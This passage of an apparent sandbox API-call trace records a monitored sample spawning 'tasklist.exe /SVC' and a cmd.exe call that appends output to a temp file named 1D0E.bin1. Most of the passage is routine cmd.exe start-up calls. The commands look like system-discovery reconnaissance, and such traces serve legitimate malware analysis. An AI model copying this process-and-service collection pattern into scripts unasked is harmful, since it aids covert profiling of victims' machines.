returned 1 [0142.014] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0142.014] GetProcessHeap () returned 0x470000 [0142.014] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x48acb0 | out: hHeap=0x470000) returned 1 [0142.014] GetEnvironmentStringsW () returned 0x48acb0* [0142.014] GetProcessHeap () returned 0x470000 [0142.015] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xac0) returned 0x488b10 [0142.015] FreeEnvironmentStringsW (penv=0x48acb0) returned 1 [0142.015] WaitForSingleObject (hHandle=0x58, dwMilliseconds=0xffffffff) returned 0x0 [0143.548] GetExitCodeProcess (in: hProcess=0x58, lpExitCode=0x28f128 | out: lpExitCode=0x28f128*=0x0) returned 1 [0143.548] CloseHandle (hObject=0x58) returned 1 [0143.548] _vsnwprintf (in: _Buffer=0x28f398, _BufferCount=0x13, _Format="%08X", _ArgList=0x28f138 | out: _Buffer="00000000") returned 8 [0143.548] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0143.548] GetProcessHeap () returned 0x470000 [0143.548] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x488b10 | out: hHeap=0x470000) returned 1 [0143.548] GetEnvironmentStringsW () returned 0x488b10* [0143.548] GetProcessHeap () returned 0x470000 [0143.548] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xae6) returned 0x499810 [0143.548] FreeEnvironmentStringsW (penv=0x488b10) returned 1 [0143.548] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0143.548] GetProcessHeap () returned 0x470000 [0143.548] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x499810 | out: hHeap=0x470000) returned 1 [0143.548] GetEnvironmentStringsW () returned 0x488b10* [0143.548] GetProcessHeap () returned 0x470000 [0143.548] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x8, Size=0xae6) returned 0x499810 [0143.548] FreeEnvironmentStringsW (penv=0x488b10) returned 1 [0143.548] GetProcessHeap () returned 0x470000 [0143.548] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x488970 | out: hHeap=0x470000) returned 1 [0143.548] DeleteProcThreadAttributeList (in: lpAttributeList=0x28f1f8 | out: lpAttributeList=0x28f1f8) [0143.548] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0143.549] _close (_FileHandle=3) returned 0 [0143.549] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.549] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0143.549] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.549] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4abee194 | out: lpMode=0x4abee194) returned 1 [0143.550] _get_osfhandle (_FileHandle=0) returned 0x3 [0143.550] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4abee198 | out: lpMode=0x4abee198) returned 1 [0143.550] SetConsoleInputExeNameW () returned 0x1 [0143.550] GetConsoleOutputCP () returned 0x1b5 [0143.550] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4abfbfe0 | out: lpCPInfo=0x4abfbfe0) returned 1 [0143.550] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.550] exit (_Code=0) Process: id = "34" image_name = "tasklist.exe" filename = "c:\\windows\\system32\\tasklist.exe" page_root = "0x185db000" os_pid = "0x6ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "33" os_parent_pid = "0x87c" cmd_line = "tasklist.exe /SVC " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 327 os_tid = 0x8e4 Thread: id = 329 os_tid = 0x35c Thread: id = 330 os_tid = 0x360 Thread: id = 331 os_tid = 0x820 Thread: id = 332 os_tid = 0x8dc Process: id = "35" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x8159000" os_pid = "0x888" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x458" cmd_line = "cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "64" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ca" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 336 os_tid = 0x9d0 [0143.653] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x23f810 | out: lpSystemTimeAsFileTime=0x23f810*(dwLowDateTime=0xfcd41090, dwHighDateTime=0x1d51ed4)) [0143.653] GetCurrentProcessId () returned 0x888 [0143.653] GetCurrentThreadId () returned 0x9d0 [0143.654] GetTickCount () returned 0x2fe1c [0143.654] QueryPerformanceCounter (in: lpPerformanceCount=0x23f818 | out: lpPerformanceCount=0x23f818*=26817840651) returned 1 [0143.655] GetModuleHandleW (lpModuleName=0x0) returned 0x4aad0000 [0143.655] __set_app_type (_Type=0x1) [0143.655] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4aaf7810) returned 0x0 [0143.655] __getmainargs (in: _Argc=0x4ab1a608, _Argv=0x4ab1a618, _Env=0x4ab1a610, _DoWildCard=0, _StartInfo=0x4aafe0f4 | out: _Argc=0x4ab1a608, _Argv=0x4ab1a618, _Env=0x4ab1a610) returned 0 [0143.656] GetCurrentThreadId () returned 0x9d0 [0143.656] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9d0) returned 0x3c [0143.656] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0143.656] GetProcAddress (hModule=0x77040000, lpProcName="SetThreadUILanguage") returned 0x77056d40 [0143.656] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.656] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0143.656] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f7a8 | out: phkResult=0x23f7a8*=0x0) returned 0x2 [0143.656] VirtualQuery (in: lpAddress=0x23f790, lpBuffer=0x23f710, dwLength=0x30 | out: lpBuffer=0x23f710*(BaseAddress=0x23f000, AllocationBase=0x140000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.656] VirtualQuery (in: lpAddress=0x140000, lpBuffer=0x23f710, dwLength=0x30 | out: lpBuffer=0x23f710*(BaseAddress=0x140000, AllocationBase=0x140000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.656] VirtualQuery (in: lpAddress=0x141000, lpBuffer=0x23f710, dwLength=0x30 | out: lpBuffer=0x23f710*(BaseAddress=0x141000, AllocationBase=0x140000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.656] VirtualQuery (in: lpAddress=0x144000, lpBuffer=0x23f710, dwLength=0x30 | out: lpBuffer=0x23f710*(BaseAddress=0x144000, AllocationBase=0x140000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0143.657] VirtualQuery (in: lpAddress=0x240000, lpBuffer=0x23f710, dwLength=0x30 | out: lpBuffer=0x23f710*(BaseAddress=0x240000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0x0, RegionSize=0xe0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0143.657] GetConsoleOutputCP () returned 0x1b5 [0143.657] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab0bfe0 | out: lpCPInfo=0x4ab0bfe0) returned 1 [0143.657] SetConsoleCtrlHandler (HandlerRoutine=0x4aaf3184, Add=1) returned 1 [0143.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.657] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0143.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.657] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aafe194 | out: lpMode=0x4aafe194) returned 1 [0143.657] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.658] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0143.658] _get_osfhandle (_FileHandle=0) returned 0x3 [0143.658] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aafe198 | out: lpMode=0x4aafe198) returned 1 [0143.658] _get_osfhandle (_FileHandle=0) returned 0x3 [0143.658] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0143.658] GetEnvironmentStringsW () returned 0x339ab0* [0143.658] GetProcessHeap () returned 0x320000 [0143.658] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xa78) returned 0x33a530 [0143.658] FreeEnvironmentStringsW (penv=0x339ab0) returned 1 [0143.658] GetProcessHeap () returned 0x320000 [0143.658] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x8) returned 0x33afb0 [0143.658] GetEnvironmentStringsW () returned 0x339ab0* [0143.658] GetProcessHeap () returned 0x320000 [0143.658] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xa78) returned 0x33afd0 [0143.659] FreeEnvironmentStringsW (penv=0x339ab0) returned 1 [0143.659] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x23e668 | out: phkResult=0x23e668*=0x44) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x0, lpData=0x23e680*=0x18, lpcbData=0x23e664*=0x1000) returned 0x2 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x1, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x0, lpData=0x23e680*=0x1, lpcbData=0x23e664*=0x1000) returned 0x2 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x0, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x40, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x40, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x0, lpData=0x23e680*=0x40, lpcbData=0x23e664*=0x1000) returned 0x2 [0143.659] RegCloseKey (hKey=0x44) returned 0x0 [0143.659] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x23e668 | out: phkResult=0x23e668*=0x44) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x0, lpData=0x23e680*=0x40, lpcbData=0x23e664*=0x1000) returned 0x2 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x1, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x0, lpData=0x23e680*=0x1, lpcbData=0x23e664*=0x1000) returned 0x2 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x0, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x9, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x4, lpData=0x23e680*=0x9, lpcbData=0x23e664*=0x4) returned 0x0 [0143.659] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x23e660, lpData=0x23e680, lpcbData=0x23e664*=0x1000 | out: lpType=0x23e660*=0x0, lpData=0x23e680*=0x9, lpcbData=0x23e664*=0x1000) returned 0x2 [0143.659] RegCloseKey (hKey=0x44) returned 0x0 [0143.659] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2094 [0143.659] srand (_Seed=0x5cfd2094) [0143.659] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0143.659] GetCommandLineW () returned="cmd /C \"echo -------- >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0143.660] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab0c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.660] GetProcessHeap () returned 0x320000 [0143.660] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x218) returned 0x33ba50 [0143.660] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x33ba60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0143.660] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aaff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0143.660] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aaff360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0143.660] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aaff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0143.660] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0143.660] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0143.660] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0143.660] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0143.660] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0143.660] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0143.660] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0143.660] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0143.660] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0143.660] GetProcessHeap () returned 0x320000 [0143.660] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33a530 | out: hHeap=0x320000) returned 1 [0143.660] GetEnvironmentStringsW () returned 0x339ab0* [0143.660] GetProcessHeap () returned 0x320000 [0143.660] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xa90) returned 0x33c710 [0143.661] FreeEnvironmentStringsW (penv=0x339ab0) returned 1 [0143.661] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aaff360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.661] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aaff360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0143.661] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0143.661] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0143.661] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0143.661] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0143.661] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0143.661] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0143.661] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0143.661] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0143.661] GetProcessHeap () returned 0x320000 [0143.661] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x38) returned 0x3364f0 [0143.661] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x23f470 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.661] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x23f470, lpFilePart=0x23f450 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x23f450*="system32") returned 0x13 [0143.661] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0143.661] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x23f180 | out: lpFindFileData=0x23f180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="Windows", cAlternateFileName="")) returned 0x338340 [0143.661] FindClose (in: hFindFile=0x338340 | out: hFindFile=0x338340) returned 1 [0143.661] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x23f180 | out: lpFindFileData=0x23f180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe20000e2, cFileName="System32", cAlternateFileName="")) returned 0x338340 [0143.661] FindClose (in: hFindFile=0x338340 | out: hFindFile=0x338340) returned 1 [0143.662] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0143.662] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0143.662] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0143.662] GetProcessHeap () returned 0x320000 [0143.662] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33c710 | out: hHeap=0x320000) returned 1 [0143.662] GetEnvironmentStringsW () returned 0x339ab0* [0143.662] GetProcessHeap () returned 0x320000 [0143.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xac0) returned 0x33bc70 [0143.662] FreeEnvironmentStringsW (penv=0x339ab0) returned 1 [0143.662] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab0c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0143.662] GetProcessHeap () returned 0x320000 [0143.662] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x3364f0 | out: hHeap=0x320000) returned 1 [0143.662] GetProcessHeap () returned 0x320000 [0143.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4016) returned 0x33dc80 [0143.662] GetProcessHeap () returned 0x320000 [0143.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x98) returned 0x33c740 [0143.662] GetProcessHeap () returned 0x320000 [0143.662] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4010) returned 0x341ca0 [0143.663] GetProcessHeap () returned 0x320000 [0143.663] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4010) returned 0x345cc0 [0143.663] GetProcessHeap () returned 0x320000 [0143.663] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33dc80 | out: hHeap=0x320000) returned 1 [0143.663] GetConsoleOutputCP () returned 0x1b5 [0143.663] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab0bfe0 | out: lpCPInfo=0x4ab0bfe0) returned 1 [0143.663] GetUserDefaultLCID () returned 0x409 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab07b50, cchData=8 | out: lpLCData=":") returned 2 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x23f580, cchData=128 | out: lpLCData="0") returned 2 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x23f580, cchData=128 | out: lpLCData="0") returned 2 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x23f580, cchData=128 | out: lpLCData="1") returned 2 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab1a740, cchData=8 | out: lpLCData="/") returned 2 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab1a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab1a460, cchData=32 | out: lpLCData="Tue") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab1a420, cchData=32 | out: lpLCData="Wed") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab1a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab1a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab1a360, cchData=32 | out: lpLCData="Sat") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab1a700, cchData=32 | out: lpLCData="Sun") returned 4 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab07b40, cchData=8 | out: lpLCData=".") returned 2 [0143.664] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab1a4e0, cchData=8 | out: lpLCData=",") returned 2 [0143.664] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0143.665] GetProcessHeap () returned 0x320000 [0143.665] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x0, Size=0x20c) returned 0x33c7e0 [0143.665] GetConsoleTitleW (in: lpConsoleTitle=0x33c7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0143.665] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0143.665] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0143.665] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0143.665] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0143.666] GetProcessHeap () returned 0x320000 [0143.666] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x4012) returned 0x33dc80 [0143.666] GetProcessHeap () returned 0x320000 [0143.666] HeapFree (in: hHeap=0x320000, dwFlags=0x0, lpMem=0x33dc80 | out: hHeap=0x320000) returned 1 [0143.666] _wcsicmp (_String1="echo", _String2=")") returned 60 [0143.666] _wcsicmp (_String1="FOR", _String2="echo") returned 1 [0143.666] _wcsicmp (_String1="FOR/?", _String2="echo") returned 1 [0143.666] _wcsicmp (_String1="IF", _String2="echo") returned 4 [0143.666] _wcsicmp (_String1="IF/?", _String2="echo") returned 4 [0143.666] _wcsicmp (_String1="REM", _String2="echo") returned 13 [0143.666] _wcsicmp (_String1="REM/?", _String2="echo") returned 13 [0143.666] GetProcessHeap () returned 0x320000 [0143.666] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0xb0) returned 0x33ca00 [0143.666] GetProcessHeap () returned 0x320000 [0143.666] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x1a) returned 0x3345f0 [0143.666] GetProcessHeap () returned 0x320000 [0143.666] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x26) returned 0x334620 [0143.666] GetProcessHeap () returned 0x320000 [0143.667] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x38) returned 0x3364f0 [0143.669] GetProcessHeap () returned 0x320000 [0143.669] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x6e) returned 0x33cac0 [0143.670] GetProcessHeap () returned 0x320000 [0143.670] RtlAllocateHeap (HeapHandle=0x320000, Flags=0x8, Size=0x28) returned 0x334650 [0143.670] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.670] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.670] _get_osfhandle (_FileHandle=1) returned 0x7 [0143.670] GetFileType (hFile=0x7) returned 0x2 [0143.671] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0143.671] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x23f458 | out: lpMode=0x23f458) returned 1 [0143.671] _dup (_FileHandle=1) returned 3 [0143.671] _close (_FileHandle=1) returned 0 [0143.672] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0143.672] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x23f408, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0143.672] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0143.672] _get_osfhandle (_FileHandle=1) returned 0x50 [0143.672] GetFileType (hFile=0x50) returned 0x1 [0143.672] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2081 [0143.672] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x23f468*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x23f468*=0) returned 0x2080 [0143.672] ReadFile (in: hFile=0x50, lpBuffer=0x23f458, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x23f400, lpOverlapped=0x0 | out: lpBuffer=0x23f458*, lpNumberOfBytesRead=0x23f400*=0x1, lpOverlapped=0x0) returned 1 [0143.672] GetConsoleTitleW (in: lpConsoleTitle=0x23f490, nSize=0x104 | out: 